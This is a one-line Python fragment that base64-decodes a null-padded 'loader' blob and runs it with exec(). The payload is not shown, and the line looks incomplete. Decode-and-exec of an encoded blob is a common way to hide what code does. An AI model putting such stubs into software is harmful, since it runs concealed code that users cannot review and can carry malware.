base64.b64decode(b64loader.strip(b'\0')).decode() # print(loader) exec(loader)